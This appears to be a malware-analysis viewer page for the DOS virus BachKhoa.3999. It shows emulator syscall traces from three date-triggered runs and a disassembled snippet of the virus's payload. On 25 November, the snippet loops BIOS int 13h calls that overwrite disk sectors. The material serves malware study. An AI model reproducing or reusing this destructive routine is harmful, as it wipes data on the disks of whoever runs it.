Sample viewer

vx.netlux.org/Virus.DOS.BachKhoa.3999

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:35:06.734275268Z 42 PC: 14c7b | Get date 0x14c7b: cmp dx, 0xb19
0x14c7f: jne 0x14ca2
0x14c81: mov dx, 0x180
0x14c84: mov cx, 2
0x14c87: mov ax, 0x30a
0x14c8a: xor bx, bx
0x14c8c: push cx
0x14c8d: push dx
0x14c8e: int 0x13
0x14c90: pop dx
0x14c91: pop cx
0x14c92: inc ch
0x14c94: cmp ch, 0xc8
0x14c97: jb 0x14c87
0x14c99: xor ch, ch
0x14c9b: inc dh
0x14c9d: cmp dh, 0x3c
0x14ca0: jb 0x14c87
0x14ca2: mov ah, 0x2b
0x14ca4: popf
2018-12-17T22:35:06.737614733Z 43 PC: 14cb7 | Set date
2018-12-17T22:35:06.998953206Z 77 PC: 1398e | Get program return code

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":6299,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:59:01.100294864Z 42 PC: 14c7b | Get date 0x14c7b: cmp dx, 0xb19
0x14c7f: jne 0x14ca2
0x14c81: mov dx, 0x180
0x14c84: mov cx, 2
0x14c87: mov ax, 0x30a
0x14c8a: xor bx, bx
0x14c8c: push cx
0x14c8d: push dx
0x14c8e: int 0x13
0x14c90: pop dx
0x14c91: pop cx
0x14c92: inc ch
0x14c94: cmp ch, 0xc8
0x14c97: jb 0x14c87
0x14c99: xor ch, ch
0x14c9b: inc dh
0x14c9d: cmp dh, 0x3c
0x14ca0: jb 0x14c87
0x14ca2: mov ah, 0x2b
0x14ca4: popf
2018-12-25T11:59:01.103795609Z 43 PC: 14cb7 | Set date
2018-12-25T11:59:01.385366934Z 77 PC: 1398e | Get program return code

{"DateBased":true,"Day":25,"Month":11,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":6299,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:59:01.444910794Z 42 PC: 14c7b | Get date 0x14c7b: cmp dx, 0xb19
0x14c7f: jne 0x14ca2
0x14c81: mov dx, 0x180
0x14c84: mov cx, 2
0x14c87: mov ax, 0x30a
0x14c8a: xor bx, bx
0x14c8c: push cx
0x14c8d: push dx
0x14c8e: int 0x13
0x14c90: pop dx
0x14c91: pop cx
0x14c92: inc ch
0x14c94: cmp ch, 0xc8
0x14c97: jb 0x14c87
0x14c99: xor ch, ch
0x14c9b: inc dh
0x14c9d: cmp dh, 0x3c
0x14ca0: jb 0x14c87
0x14ca2: mov ah, 0x2b
0x14ca4: popf
2018-12-25T11:59:03.20979648Z 43 PC: 14cb7 | Set date
2018-12-25T11:59:03.46137654Z 77 PC: 1398e | Get program return code